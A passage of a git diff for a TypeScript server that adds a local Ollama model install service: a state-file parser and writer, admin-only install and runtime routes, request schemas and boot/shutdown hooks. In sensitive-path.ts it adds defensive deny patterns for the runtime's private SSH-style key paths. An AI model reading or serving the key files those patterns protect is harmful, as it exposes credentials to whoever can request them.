ours: running.connection !== undefined, + ...(running.connection ? { flagWasEnabled: running.connection.flagWasEnabled } : {}), + }); + if (!connected.ok) { + return { + kind: 'fail', + code: connected.code, + vars: this.errorVars(connected.code, state), + ...(connected.detail ? { detail: connected.detail } : {}), + }; + } + const flagWasEnabled = connected.flagWasEnabled; + await this.record((current) => ({ + ...current, + connection: { endpointId: LOCAL_MODEL_ENDPOINT_ID, flagWasEnabled }, + })); + return DONE; + } } /** A service over `deps`. A test builds its own with fakes. */ export function createLocalModelService(deps: Partial = {}): LocalModelService { - return notImplemented('createLocalModelService', deps); + return new LocalModelServiceImpl(deps); } +let processService: LocalModelService | undefined; + /** The one service of this process, built on first use with the real modules. What the routes and server.ts call. */ export function getLocalModelService(): LocalModelService { - return notImplemented('getLocalModelService'); + processService ??= createLocalModelService(); + return processService; } diff --git a/src/local-model/state-store.ts b/src/local-model/state-store.ts index ada9c69d..434a686e 100644 --- a/src/local-model/state-store.ts +++ b/src/local-model/state-store.ts @@ -2,9 +2,6 @@ * @fileoverview The ONE reader and writer of `local-model.json`, the state file of the local * model install (`LocalModelStateFile`). * - * CONTRACT STAGE: `IDLE_LOCAL_MODEL_STATE` is final. Every function below has its final - * signature and a body that throws; the bodies are written next. - * * Why one module: the install job writes the state, the step and the digest, and the caller * of the runtime supervisor writes the pid and the port. Two writers with their own temp file * and rename would lose each other's change, which is the fault `mutateCustomModelHosts()` @@ -20,30 +17,242 @@ * - The path is `localModelPaths().stateFile`. The file itself holds no path. */ -import type { LocalModelStateFile } from '../types.js'; - -/** Marks a body the contract stage left unwritten. */ -function notImplemented(what: string, ..._args: unknown[]): never { - throw new Error(`${what} is not implemented yet`); -} +import { randomUUID } from 'node:crypto'; +import fs from 'node:fs/promises'; +import { dirname } from 'node:path'; +import { + LOCAL_MODEL_ERROR_LABELS, + LOCAL_MODEL_INSTALL_STEPS, + type LocalModelErrorCode, + type LocalModelInstallState, + type LocalModelInstallStep, + type LocalModelStateFile, +} from '../types.js'; +import { OLLAMA_RUNTIME_PIN } from './runtime.js'; +import { localModelPaths } from './paths.js'; /** The state when nothing was ever installed. What an unreadable file reads as. */ export const IDLE_LOCAL_MODEL_STATE: LocalModelStateFile = Object.freeze({ schema: 1, state: 'idle' }); +const STATES: readonly LocalModelInstallState[] = ['idle', 'installing', 'paused', 'failed', 'installed']; + +// ---------- Reading one member at a time ---------- + +const isRecord = (value: unknown): value is Record => + typeof value === 'object' && value !== null && !Array.isArray(value); + +const text = (value: unknown, max = 4_096): string | undefined => + typeof value === 'string' && value !== '' && value.length <= max ? value : undefined; + +/** A whole number of bytes, tokens, a port or a pid: finite, not negative, and an integer. */ +const count = (value: unknown): number | undefined => + typeof value === 'number' && Number.isSafeInteger(value) && value >= 0 ? value : undefined; + +const step = (value: unknown): LocalModelInstallStep | undefined => + LOCAL_MODEL_INSTALL_STEPS.find((candidate) => candidate === value); + +function parseSteps(value: unknown): LocalModelInstallStep[] | undefined { + if (!Array.isArray(value)) return undefined; + const steps: LocalModelInstallStep[] = []; + for (const item of value) { + const parsed = step(item); + // A list with an unknown or a repeated step is not a list this build wrote. + if (!parsed || steps.includes(parsed)) return undefined; + steps.push(parsed); + } + return steps.length > 0 ? steps : undefined; +} + +function parseVars(value: unknown): Record | undefined { + if (!isRecord(value)) return undefined; + const vars: Record = {}; + for (const [key, item] of Object.entries(value)) { + if (typeof item === 'string' && item.length <= 4_096) vars[key] = item; + } + return Object.keys(vars).length > 0 ? vars : undefined; +} + +function parseError(value: unknown): LocalModelStateFile['error'] { + if (!isRecord(value)) return undefined; + const code = text(value.code); + if (!code || !Object.prototype.hasOwnProperty.call(LOCAL_MODEL_ERROR_LABELS, code)) return undefined; + const vars = parseVars(value.vars); + const detail = text(value.detail, 16_384); + const nextModelId = text(value.nextModelId, 200); + return { + code: code as LocalModelErrorCode, + ...(vars ? { vars } : {}), + ...(detail ? { detail } : {}), + ...(nextModelId ? { nextModelId } : {}), + }; +} + +function parseModel(value: unknown): LocalModelStateFile['model'] { + if (!isRecord(value)) return undefined; + const id = text(value.id, 200); + const label = text(value.label, 200); + const context = count(value.context); + if (!id || !label || !context) return undefined; + const pullBytes = count(value.pullBytes); + const digest = text(value.digest, 200); + return { + id, + label, + context, + ...(pullBytes !== undefined ? { pullBytes } : {}), + ...(digest ? { digest } : {}), + }; +} + +function parseCli(value: unknown): LocalModelStateFile['cli'] { + if (!isRecord(value)) return undefined; + const id = text(value.id, 200); + const label = text(value.label, 200); + return id && label ? { id, label } : undefined; +} + +function parseRuntime(value: unknown): LocalModelStateFile['runtime'] { + if (!isRecord(value)) return undefined; + const version = text(value.version, 64); + const port = count(value.port); + if (!version || !port || port > 65_535) return undefined; + const pid = count(value.pid); + const measuredTotalBytes = count(value.measuredTotalBytes); + return { + version, + port, + ...(pid ? { pid } : {}), + // Anything but an explicit `false` reads as enabled: only Stop switches the runtime off. + enabled: value.enabled !== false, + ...(measuredTotalBytes ? { measuredTotalBytes } : {}), + }; +} + +function parseProgress(value: unknown): LocalModelStateFile['progress'] { + if (!isRecord(value)) return undefined; + const completedBytes = count(value.completedBytes); + const totalBytes = count(value.totalBytes); + return completedBytes !== undefined && totalBytes !== undefined ? { completedBytes, totalBytes } : undefined; +} + +function parseLoaded(value: unknown): LocalModelStateFile['loaded'] { + if (!isRecord(value)) return undefined; + const context = count(value.context); + const sizeBytes = count(value.sizeBytes); + const sizeVramBytes = count(value.sizeVramBytes); + return context !== undefined && sizeBytes !== undefined && sizeVramBytes !== undefined + ? { context, sizeBytes, sizeVramBytes } + : undefined; +} + +function parseConnection(value: unknown): LocalModelStateFile['connection'] { + if (!isRecord(value)) return undefined; + const endpointId = text(value.endpointId, 200); + return endpointId && typeof value.flagWasEnabled === 'boolean' + ? { endpointId, flagWasEnabled: value.flagWasEnabled } + : undefined; +} + /** * The state a file's text stands for. Pure and total: text that is not a JSON object of * `schema: 1` with a known `state` is `IDLE_LOCAL_MODEL_STATE`. Members it does not know are * dropped, and a member of the wrong type is dropped rather than trusted. + * + * A state that needs a member it does not have is not trusted either: a job (`installing`, + * `paused`, `failed`) without its model, its coding agent or its step, a `failed` job without + * its error, and an `installed` state without its model or its runtime all read as idle. + * Nothing is deleted by that: what lies in the folder stays until a Remove or a new install. */ export function parseLocalModelState(raw: string): LocalModelStateFile { - return notImplemented('parseLocalModelState', raw); + let parsed: unknown; + try { + parsed = JSON.parse(raw); + } catch { + return IDLE_LOCAL_MODEL_STATE; + } + if (!isRecord(parsed) || parsed.schema !== 1) return IDLE_LOCAL_MODEL_STATE; + const state = STATES.find((candidate) => candidate === parsed.state); + if (!state || state === 'idle') return IDLE_LOCAL_MODEL_STATE; + + const model = parseModel(parsed.model); + const cli = parseCli(parsed.cli); + const runtime = parseRuntime(parsed.runtime); + const connection = parseConnection(parsed.connection); + const updatedAt = text(parsed.updatedAt, 64); + const replacedModelId = text(parsed.replacedModelId, 200); + if (!model || !cli) return IDLE_LOCAL_MODEL_STATE; + + if (state === 'installed') { + if (!runtime) return IDLE_LOCAL_MODEL_STATE; + const loaded = parseLoaded(parsed.loaded); + return { + schema: 1, + state, + model, + cli, + runtime, + ...(loaded ? { loaded } : {}), + ...(connection ? { connection } : {}), + ...(updatedAt ? { updatedAt } : {}), + }; + } + + const steps = parseSteps(parsed.steps); + const current = step(parsed.step); + if (!steps || !current || !steps.includes(current)) return IDLE_LOCAL_MODEL_STATE; + const error = parseError(parsed.error); + if (state === 'failed' && !error) return IDLE_LOCAL_MODEL_STATE; + const progress = parseProgress(parsed.progress); + const loaded = parseLoaded(parsed.loaded); + return { + schema: 1, + state, + step: current, + steps, + ...(state === 'failed' && error ? { error } : {}), + model, + cli, + ...(runtime ? { runtime } : {}), + ...(progress ? { progress } : {}), + ...(loaded ? { loaded } : {}), + ...(connection ? { connection } : {}), + ...(replacedModelId ? { replacedModelId } : {}), + ...(updatedAt ? { updatedAt } : {}), + }; +} + +/** Where the state file is. Built from `dataPath()` on every call, so a test's own data dir is honoured. */ +function stateFilePath(): string { + return localModelPaths(OLLAMA_RUNTIME_PIN.version).stateFile; +} + +async function readStateFrom(path: string): Promise { + try { + return parseLocalModelState(await fs.readFile(path, 'utf-8')); + } catch { + return IDLE_LOCAL_MODEL_STATE; + } } /** The stored state. Never throws: a file that cannot be read is `IDLE_LOCAL_MODEL_STATE`. */ export async function readLocalModelState(): Promise { - return notImplemented('readLocalModelState'); + return readStateFrom(stateFilePath()); } +async function writeStateFile(path: string, state: LocalModelStateFile): Promise { + await fs.mkdir(dirname(path), { recursive: true }); + const tmp = `${path}.${process.pid}.${randomUUID()}.tmp`; + try { + await fs.writeFile(tmp, JSON.stringify(state, null, 2), { mode: 0o600 }); + await fs.rename(tmp, path); + } catch (err) { + await fs.rm(tmp, { force: true }).catch(() => {}); + throw err; + } +} + +let mutationChain: Promise = Promise.resolve(); + /** * Runs one change to the state file. `fn` receives the current state and returns the state to * write, or `undefined` to write nothing. Resolves with the state before and after the change @@ -53,5 +262,15 @@ export async function readLocalModelState(): Promise { export function mutateLocalModelState( fn: (current: LocalModelStateFile) => LocalModelStateFile | undefined ): Promise<{ before: LocalModelStateFile; after: LocalModelStateFile | undefined }> { - return notImplemented('mutateLocalModelState', fn); + const run = mutationChain.then(async () => { + const path = stateFilePath(); + const before = await readStateFrom(path); + const next = fn(before); + if (!next) return { before, after: undefined }; + const after: LocalModelStateFile = { ...next, updatedAt: new Date().toISOString() }; + await writeStateFile(path, after); + return { before, after }; + }); + mutationChain = run.catch(() => {}); + return run; } diff --git a/src/types/local-model-install.ts b/src/types/local-model-install.ts index d964e53a..3bd29022 100644 --- a/src/types/local-model-install.ts +++ b/src/types/local-model-install.ts @@ -22,15 +22,19 @@ * | Route | Body | Refusals | * |----------------------------------|-----------------------------|-------------------------------------------------------| * | `GET /api/local-model` | none | none (a failed probe is an answer) | - * | `POST /api/local-model/install` | `LocalModelInstallRequest` | 400 not a row the server offers; 409 `job-running`, | + * | `POST /api/local-model/install` | `LocalModelInstallRequest` | 400 not a row the server offers, or a saved endpoint | + * | | | already has the reserved id; 409 `job-running`, | * | | | `already-installed`, `size-changed` | * | `POST /api/local-model/cancel` | none | 409 `wrong-state` (no job is running) | - * | `POST /api/local-model/resume` | `LocalModelResumeRequest` | 409 `wrong-state` (not paused or failed) | + * | `POST /api/local-model/resume` | `LocalModelResumeRequest` | 409 `job-running`, `wrong-state` (not paused or | + * | | | failed) | * | `POST /api/local-model/runtime` | `LocalModelRuntimeRequest` | 409 `wrong-state` (not installed), `job-running` | * | `DELETE /api/local-model` | `LocalModelRemoveRequest` | 409 `job-running`, `sessions-open` | * * A 409 is the error envelope plus `data: LocalModelConflict`: - * `{ success: false, error, errorCode: 'CONFLICT', data: { reason, message, ... } }`. + * `{ success: false, error, errorCode: 'CONFLICT', data: { reason, message, ... } }`. A 409 + * WITHOUT `data` is a write of `settings.json` or of the endpoint store that was refused + * because the file does not parse; `error` names the fix. * * The rules of src/types/local-model.ts hold here too: * 1. A size a person reads travels twice: as bytes and as decimal GB text from `formatGb()` @@ -427,18 +431,14 @@ export interface LocalModelInstallView { actions: LocalModelAction[]; } -/** - * The `data` of `GET /api/local-model`. Admin only in multi-user mode. - * - * `install` is optional in the type only until the route emits it: from the stage that ships - * the install verbs on it is always present. - */ +/** The `data` of `GET /api/local-model`. Admin only in multi-user mode. */ export interface LocalModelStatus { hardware: HardwareFacts; recommendation: Recommendation; /** `LocalModelCatalog.updated`. */ catalogUpdated: string; - install?: LocalModelInstallView; + /** Where the install stands. Always present. */ + install: LocalModelInstallView; } // ---------- Request bodies and answers ---------- @@ -557,6 +557,12 @@ export interface LocalModelStateFile { /** The digest `/api/tags` reported after the pull. Compared again at boot and before a session starts. */ digest?: string; }; + /** + * The model of the job this one replaced, when it was another model: what that job left in + * the model store is deleted once the runtime runs, before the new model is downloaded. + * Absent once that was done, and in `idle` and `installed`. + */ + replacedModelId?: string; /** The coding agent of the job or of the installation. */ cli?: { id: string; label: string }; /** The runtime, once its port was chosen. */ diff --git a/src/web/routes/local-model-routes.ts b/src/web/routes/local-model-routes.ts index 12b3cc4a..74c858ef 100644 --- a/src/web/routes/local-model-routes.ts +++ b/src/web/routes/local-model-routes.ts @@ -1,18 +1,34 @@ /** - * @fileoverview `GET /api/local-model`: what this Mac is and which local model fits it. + * @fileoverview The local model routes: what this Mac is and which local model fits it + * (`GET /api/local-model`), and the verbs that install one, start and stop it and remove it. * - * Answers `{ success: true, data: LocalModelStatus }`, built from the hardware probe, the - * catalogue, the harness facts and the pure `recommend()`: - * `{ hardware, recommendation, catalogUpdated }`. Nothing is reformatted here: every size text - * and every sentence in the payload was chosen by the modules that produced it. + * | Route | Body | Answer | + * |----------------------------------|-----------------------------|------------------------------------------------| + * | `GET /api/local-model` | none | `{ hardware, recommendation, catalogUpdated, install }` | + * | `POST /api/local-model/install` | `LocalModelInstallRequest` | the install view; 400, 409 | + * | `POST /api/local-model/cancel` | none | the install view; 409 | + * | `POST /api/local-model/resume` | `LocalModelResumeRequest` | the install view; 409 | + * | `POST /api/local-model/runtime` | `LocalModelRuntimeRequest` | the install view; 409 | + * | `DELETE /api/local-model` | `LocalModelRemoveRequest` | the install view; 409 | * - * EXPERIMENTAL (docs/versioning-policy.md, "Experimental local model recommendation"): the - * route and its payload are outside the stable `/api/v1` contract until the stage that sets a - * model up ships, because that stage will change what the fields mean. docs/api-reference.md - * says so in its section; keep the two in step, and drop both labels together. + * The GET is built from the hardware probe, the catalogue, the harness facts and the pure + * `recommend()`, plus the `install` object of the install service + * (`LocalModelService.view()`). Nothing is reformatted here: every size text and every + * sentence in the payload was chosen by the modules that produced it. There is no SSE event: + * the window polls the GET once a second while it is open. + * + * EXPERIMENTAL (docs/versioning-policy.md, "Experimental local model routes"): the routes and + * their payloads are outside the stable `/api/v1` contract. docs/api-reference.md says so in + * its section; keep the two in step, and drop both labels together. * * Rules: - * - Read-only. It downloads nothing, installs nothing, writes no file and reads no setting. + * - Every route is admin only in multi-user mode (403), the same bar as `GET /api/doctor`: + * the GET names hardware of the host, and the verbs download and run a program, install a + * coding agent and write the server-wide settings. The gate runs before anything is probed, + * parsed or started. + * - The GET changes nothing a person asked to keep: it downloads nothing, installs nothing + * and writes no setting. Its one write is the service's own bookkeeping (a job a server + * restart interrupted is marked paused the first time anything looks at it). * - A failed probe is an answer, never a 500. `readHardware()` reports a spawn that failed * in the hardware's `source` (`os-fallback`), and a server that is not on macOS as * `not-probed`; both go out as a 200 whose recommendation is verdict `none` or computed @@ -21,10 +37,16 @@ * `source` values. * - A 500 is left for a fault that is not a probe: the catalogue, the harness facts or * `recommend()` throwing. That is a bug, and it must not be dressed up as "no model fits". - * - The payload names hardware of the host, so in multi-user mode it is admin only (403), the - * same bar as `GET /api/doctor`. The gate runs before anything is probed. + * - A verb answers the view AFTER the verb. A refusal the service names is a 400 (the request + * is not a row the server offers) or a 409 whose `data` is the `LocalModelConflict` + * (`reason`, the sentence, and for `size-changed` the server's own total, for + * `sessions-open` the session names). A write of the settings or of the endpoint store + * that was refused (a file that does not parse) is a 409 without `data`, with the fix. + * - The verbs do the work in the install service; this file only gates, parses and maps. + * `DELETE` is the one that looks at the live sessions: it hands their names to the service, + * which refuses while one of them still uses the model. * - Every dependency is injected (`LocalModelRouteDeps`), so a route test spawns nothing and - * does not need a Mac: it passes its own hardware and harness facts. + * does not need a Mac: it passes its own hardware, harness facts and service. */ import { arch, totalmem } from 'node:os'; @@ -37,23 +59,63 @@ import { type HardwareFacts, type HarnessFact, type LocalModelCatalog, + type LocalModelConflict, + type LocalModelInstallView, type LocalModelStatus, type Recommendation, + type RecommendOptions, } from '../../types.js'; -import { isAdmin } from '../route-helpers.js'; +import { getAuthUser, isAdmin, parseBody } from '../route-helpers.js'; import { isMultiUserMode } from '../../config/multiuser.js'; import { getLocalModelCatalog } from '../../config/local-model-catalog.js'; +import { + CustomModelHostsWriteRefusedError, + customModelHostsWriteErrorResponse, +} from '../../custom-model-hosts-writer.js'; +import { sessionNamesUsingEndpoint } from '../../local-model/connect.js'; import { formatGb, memClassGb } from '../../local-model/format.js'; import { readHardware } from '../../local-model/hardware.js'; import { buildHarnessFacts } from '../../local-model/harness-facts.js'; +import { + formatInstallMessage, + getLocalModelService, + type LocalModelActor, + type LocalModelService, + type LocalModelVerbResult, +} from '../../local-model/install-job.js'; import { recommend } from '../../local-model/recommend.js'; +import { + LocalModelInstallSchema, + LocalModelRemoveSchema, + LocalModelResumeSchema, + LocalModelRuntimeSchema, +} from '../schemas.js'; +import { SettingsWriteRefusedError, settingsWriteErrorResponse } from '../settings-writer.js'; -/** What the route calls. Each member defaults to the real module; a test overrides what it needs. */ +/** A live session as the DELETE needs it: its name, and the endpoint its model comes from. */ +export interface LocalModelSessionLike { + name: string; + customModel?: { endpointId: string }; +} + +/** What the routes read of the server: its live sessions. */ +export interface LocalModelRouteContext { + sessions: ReadonlyMap; +} + +/** What the routes call. Each member defaults to the real module; a test overrides what it needs. */ export interface LocalModelRouteDeps { readHardware: () => Promise; getCatalog: () => LocalModelCatalog; buildHarnessFacts: (catalog: LocalModelCatalog) => Promise; - recommend: (hw: HardwareFacts, catalog: LocalModelCatalog, harnessFacts: readonly HarnessFact[]) => Recommendation; + recommend: ( + hw: HardwareFacts, + catalog: LocalModelCatalog, + harnessFacts: readonly HarnessFact[], + options?: RecommendOptions + ) => Recommendation; + /** The install service. Looked up on every request, so the server's one service is built on first use. */ + service: () => LocalModelService; } export const defaultLocalModelRouteDeps: LocalModelRouteDeps = { @@ -61,6 +123,7 @@ export const defaultLocalModelRouteDeps: LocalModelRouteDeps = { getCatalog: getLocalModelCatalog, buildHarnessFacts: (catalog) => buildHarnessFacts(catalog), recommend, + service: getLocalModelService, }; /** @@ -80,15 +143,75 @@ export function hardwareFromOs(): HardwareFacts { }; } -export function registerLocalModelRoutes(app: FastifyInstance, deps: Partial = {}): void { +/** The 409 of a verb the service refused: the error envelope plus the conflict as `data`. */ +export interface LocalModelConflictResponse { + success: false; + /** The conflict's sentence in English, its slots filled. */ + error: string; + errorCode: ApiErrorCode; + data: LocalModelConflict; +} + +/** What a verb answers: the view after it, an error envelope, or the 409 that carries the conflict. */ +export type LocalModelVerbResponse = ApiResponse | LocalModelConflictResponse; + +/** 403 for a non-admin in multi-user mode, before anything else runs. `null`: go on. */ +function adminOnly(req: FastifyRequest, reply: FastifyReply): ApiResponse | null { + if (!isMultiUserMode() || isAdmin(req)) return null; + reply.code(403); + return createErrorResponse(ApiErrorCode.FORBIDDEN, 'Admin only in multi-user mode'); +} + +function actorOf(req: FastifyRequest): LocalModelActor { + return { username: getAuthUser(req).username, ip: req.ip }; +} + +/** A verb's result as its HTTP answer. */ +function respond(result: LocalModelVerbResult, reply: FastifyReply): LocalModelVerbResponse { + if (result.ok) return { success: true, data: result.view }; + reply.code(result.status); + if (result.status === 400) return createErrorResponse(ApiErrorCode.INVALID_INPUT, result.message); + return { + success: false, + error: formatInstallMessage(result.conflict.message), + errorCode: ApiErrorCode.CONFLICT, + data: result.conflict, + }; +} + +/** Runs one verb. What the service did not name as a refusal: a refused config write is a 409 with the fix, anything else a 500. */ +async function runVerb( + reply: FastifyReply, + verb: () => Promise +): Promise { + try { + return respond(await verb(), reply); + } catch (err) { + if (err instanceof CustomModelHostsWriteRefusedError) { + reply.code(409); + return customModelHostsWriteErrorResponse(err); + } + if (err instanceof SettingsWriteRefusedError) { + reply.code(409); + return settingsWriteErrorResponse(err); + } + reply.code(500); + return createErrorResponse(ApiErrorCode.INTERNAL_ERROR, `The local model request failed: ${getErrorMessage(err)}`); + } +} + +export function registerLocalModelRoutes( + app: FastifyInstance, + ctx: LocalModelRouteContext, + deps: Partial = {} +): void { const resolved: LocalModelRouteDeps = { ...defaultLocalModelRouteDeps, ...deps }; + app.get( '/api/local-model', async (req: FastifyRequest, reply: FastifyReply): Promise> => { - if (isMultiUserMode() && !isAdmin(req)) { - reply.code(403); - return createErrorResponse(ApiErrorCode.FORBIDDEN, 'Admin only in multi-user mode'); - } + const denied = adminOnly(req, reply); + if (denied) return denied; let hardware: HardwareFacts; try { @@ -101,8 +224,13 @@ export function registerLocalModelRoutes(app: FastifyInstance, deps: Partial => { + const denied = adminOnly(req, reply); + if (denied) return denied; + const body = parseBody(LocalModelInstallSchema, req.body); + return runVerb(reply, () => resolved.service().install(body, actorOf(req))); + }); + + app.post('/api/local-model/cancel', async (req, reply): Promise => { + const denied = adminOnly(req, reply); + if (denied) return denied; + return runVerb(reply, () => resolved.service().cancel()); + }); + + app.post('/api/local-model/resume', async (req, reply): Promise => { + const denied = adminOnly(req, reply); + if (denied) return denied; + const body = parseBody(LocalModelResumeSchema, req.body ?? {}); + return runVerb(reply, () => resolved.service().resume(body, actorOf(req))); + }); + + app.post('/api/local-model/runtime', async (req, reply): Promise => { + const denied = adminOnly(req, reply); + if (denied) return denied; + const body = parseBody(LocalModelRuntimeSchema, req.body); + return runVerb(reply, () => resolved.service().runtime(body)); + }); + + app.delete('/api/local-model', async (req, reply): Promise => { + const denied = adminOnly(req, reply); + if (denied) return denied; + const body = parseBody(LocalModelRemoveSchema, req.body ?? {}); + // Asked at the moment of the request: a session that started a second ago counts. + const sessionNames = sessionNamesUsingEndpoint(ctx.sessions.values()); + return runVerb(reply, () => resolved.service().remove(body, sessionNames, actorOf(req))); + }); } diff --git a/src/web/routes/session-routes.ts b/src/web/routes/session-routes.ts index b7ba3f41..e9838774 100644 --- a/src/web/routes/session-routes.ts +++ b/src/web/routes/session-routes.ts @@ -82,6 +82,7 @@ import { CustomModelSelectionSchema, } from '../schemas.js'; import { readCustomModelHosts, resolveCustomModelContextLength } from '../../custom-model-hosts.js'; +import { getLocalModelService } from '../../local-model/install-job.js'; import { applyCustomModelInjection, removeConfigDir } from '../../custom-model-injection-apply.js'; import { buildCustomModelInjection } from '../../custom-model-injection.js'; import { @@ -1783,6 +1784,11 @@ export function registerSessionRoutes( if (!endpoint) { return createErrorResponse(ApiErrorCode.NOT_FOUND, 'Model endpoint not found'); } + // The model Codeman runs on this Mac: only while its own runtime is up, and only the model + // that was installed, with the digest stored then (undefined for every other endpoint). + // Before anything is written or restarted. + const localModelRefusal = await getLocalModelService().launchRefusalMessage(endpoint.id, body.modelId); + if (localModelRefusal) return createErrorResponse(ApiErrorCode.OPERATION_FAILED, localModelRefusal); // Discovery's per-model figure wins; the endpoint's user-set default covers models // whose size discovery could not determine (a gateway that states none, say). With // neither, the existing "no override, CLI assumes its own default" behaviour stands. @@ -4772,6 +4778,11 @@ export function registerSessionRoutes( const cmHosts = await readCustomModelHosts(CODEMAN_CONFIG_DIR); const cmEndpoint = cmHosts.find((h) => h.id === customModel.endpointId); if (!cmEndpoint) return createErrorResponse(ApiErrorCode.NOT_FOUND, 'Model endpoint not found'); + // See the dedicated route: the model Codeman runs on this Mac is launched only while its + // own runtime is up and its digest is the one stored at install time. Before any + // confirmation is asked for and before a session exists. + const cmLocalModelRefusal = await getLocalModelService().launchRefusalMessage(cmEndpoint.id, customModel.modelId); + if (cmLocalModelRefusal) return createErrorResponse(ApiErrorCode.OPERATION_FAILED, cmLocalModelRefusal); // Per-model discovery figure first, user-set endpoint default second, nothing third // (see the dedicated route's own comment above). const cmContextLength = resolveCustomModelContextLength(cmEndpoint, customModel.modelId); diff --git a/src/web/schemas.ts b/src/web/schemas.ts index 652a81c4..0ca72056 100644 --- a/src/web/schemas.ts +++ b/src/web/schemas.ts @@ -2466,6 +2466,43 @@ export const CustomModelHostSchema = z.object({ defaultContextLength: z.number().int().positive().max(MAX_DISCOVERED_CONTEXT_TOKENS).optional(), }); +// ---------- Local model install (src/web/routes/local-model-routes.ts) ---------- + +/** + * A model id as the local model catalogue writes it: `name:tag`, lowercase, no slash. The + * same pattern as `LOCAL_MODEL_ID_PATTERN` in config/local-model-catalog.ts, repeated here as + * a request-shape check: without a slash an id can never name another registry host. The + * real gate is the route's own lookup of the id in what the server offers. + */ +const localModelId = z + .string() + .max(200) + .regex(/^[a-z0-9][a-z0-9._-]*:[a-z0-9][a-z0-9._-]*$/, 'Invalid model id'); + +/** POST /api/local-model/install: the row the person chose and the size they confirmed. */ +export const LocalModelInstallSchema = z + .object({ + modelId: localModelId, + cli: z + .string() + .max(64) + .regex(/^[a-z0-9][a-z0-9_-]*$/, 'Invalid coding agent id'), + context: z.number().int().positive().max(MAX_DISCOVERED_CONTEXT_TOKENS), + acknowledgedBytes: z.number().int().nonnegative().max(Number.MAX_SAFE_INTEGER), + }) + .strict(); + +/** POST /api/local-model/resume. The body may be empty. */ +export const LocalModelResumeSchema = z.object({ newPort: z.boolean().optional() }).strict(); + +/** POST /api/local-model/runtime. */ +export const LocalModelRuntimeSchema = z + .object({ action: z.enum(['start', 'stop']), newPort: z.boolean().optional() }) + .strict(); + +/** DELETE /api/local-model. The body may be empty. */ +export const LocalModelRemoveSchema = z.object({ removeModel: z.boolean().optional() }).strict(); + /** * A shell-safe bare word, mirroring `config/cli-registry/schema.ts`'s own `shellToken` — * duplicated rather than imported, since the REAL safety boundary for anything built from diff --git a/src/web/sensitive-path.ts b/src/web/sensitive-path.ts index 0189dbe4..c26b9009 100644 --- a/src/web/sensitive-path.ts +++ b/src/web/sensitive-path.ts @@ -113,6 +113,11 @@ const SENSITIVE_PATTERNS: RegExp[] = [ /\/\.codeman[^/]*\/webhook\.json$/, /\/\.codeman[^/]*\/custom-model-hosts\.json$/, /\/\.codeman[^/]*\/custom-model-configs\//, + // The local model runtime (src/local-model/) is started with a private HOME inside the data + // dir and makes a key pair for itself there (`home/.ollama/id_ed25519`). A runtime the user + // runs on their own keeps the same key under their real home. + /\/\.codeman[^/]*\/local-model\/home\//, + /\/\.ollama\/id_ed25519$/, // Config backups are dated COPIES of the files above (users.json and settings.json // included), which the name-anchored patterns do not match. A custom // `configBackupDir` is outside what a pattern here can name. diff --git a/src/web/server.ts b/src/web/server.ts index 67ee93a5..d8f2ace3 100644 --- a/src/web/server.ts +++ b/src/web/server.ts @@ -146,6 +146,7 @@ import { probeLocalPaths, readClaudeEditSources, resolveClaudeTranscript } from import { remoteLocateClaudeTranscript, remoteProbePaths, remoteReadClaudeEditSources } from '../remote-files.js'; import { remoteTmuxLocation } from '../tmux-manager.js'; import { stopDeepSeekWeb } from '../deepseek-web-server.js'; +import { getLocalModelService } from '../local-model/install-job.js'; import { wireRespawnListeners, setupTimedRespawn, @@ -1418,7 +1419,7 @@ export class WebServer extends EventEmitter { registerDoctorRoutes(this.app); registerCustomModelRoutes(this.app); registerCliRegistryRoutes(this.app); - registerLocalModelRoutes(this.app); + registerLocalModelRoutes(this.app, ctx); // Cron: build the service from the same context, recompute // due times for any persisted jobs, then expose it to its routes. @@ -3441,6 +3442,14 @@ export class WebServer extends EventEmitter { } } + // The model Codeman runs on this Mac (src/local-model/): a job a restart interrupted comes + // back paused and waits for a click, and an installed runtime that was not stopped is + // started again (an own orphan on its port is adopted or replaced). Off the startup path: + // boot() never throws, and nothing waits for a runtime to answer. Not in tests. + if (!this.testMode) { + void getLocalModelService().boot(); + } + // Sweep agent preamble caches whose sessions are gone (see // pruneAgentSessionPreambles). Once per boot, after restore, so every session this // instance owns is in the keep set. Best-effort and off the startup critical path. @@ -4590,6 +4599,13 @@ export class WebServer extends EventEmitter { // got wrong once. void stopDeepSeekWeb(); + // The local model runtime is a non-detached child, but a child is not ended by its + // parent's exit: it gets SIGTERM here, and an install job in flight is interrupted (the + // next start reads it as paused). An orphan a hard kill leaves is adopted at the next boot. + if (!this.testMode) { + void getLocalModelService().shutdown(); + } + // The header's GPU / CPU clock sampler is a Windows child process under WSL, and its idle sweep a timer. stopHostSensors(); diff --git a/test/local-model-connect.test.ts b/test/local-model-connect.test.ts new file mode 100644 index 00000000..c1dd2150 --- /dev/null +++ b/test/local-model-connect.test.ts @@ -0,0 +1,417 @@ +/** + * @fileoverview Connecting the installed local model to Codeman and undoing it + * (src/local-model/connect.ts): the two writes outside the local model folder. + * + * What is pinned: + * - the endpoint record's exact shape, and that it passes the schema every saved endpoint passes; + * - connecting writes the record and switches the settings flag on, keeps every other + * endpoint and setting, and is idempotent; + * - the reserved id is never taken over: a record with it that is not ours refuses the + * connect and changes nothing; + * - a refused write leaves the pair as it was (a record this call added is taken out again); + * - disconnecting removes our record, and restores the flag ONLY when this feature switched + * it on and no other endpoint is saved; + * - the digest comparison, the session names of the DELETE's 409, the managed-record test, + * and that the runtime's private key cannot be served. + * + * Port: N/A (no server; the two files live in the test's temp data dir). + */ +import { afterEach, describe, expect, it, vi } from 'vitest'; +import { existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs'; +import { dirname, join } from 'node:path'; +import { dataPath, getDataDir } from '../src/config/instance.js'; +import { customModelHostsPath, readCustomModelHosts, type CustomModelHost } from '../src/custom-model-hosts.js'; +import { + buildLocalEndpointRecord, + compareModelDigest, + connectLocalModel, + disconnectLocalModel, + ensureLocalEndpoint, + isLocalModelEndpointId, + isManagedLocalEndpoint, + LOCAL_MODEL_ENDPOINT_ID, + LOCAL_MODEL_ENDPOINT_LABEL, + moveLocalEndpoint, + sessionNamesUsingEndpoint, +} from '../src/local-model/connect.js'; +import { CustomModelHostSchema } from '../src/web/schemas.js'; +import { SETTINGS_PATH } from '../src/web/route-helpers.js'; +import { isSensitivePath } from '../src/web/sensitive-path.js'; + +const HOSTS = () => customModelHostsPath(getDataDir()); +const STATE = () => dataPath('local-model.json'); + +const INPUT = { port: 11435, modelId: 'qwen3.6:35b-a3b', context: 131072 }; + +const OTHER: CustomModelHost = { + id: 'office-gpu', + label: 'Office GPU', + baseUrl: 'http://192.168.1.50:8080', + apiKey: 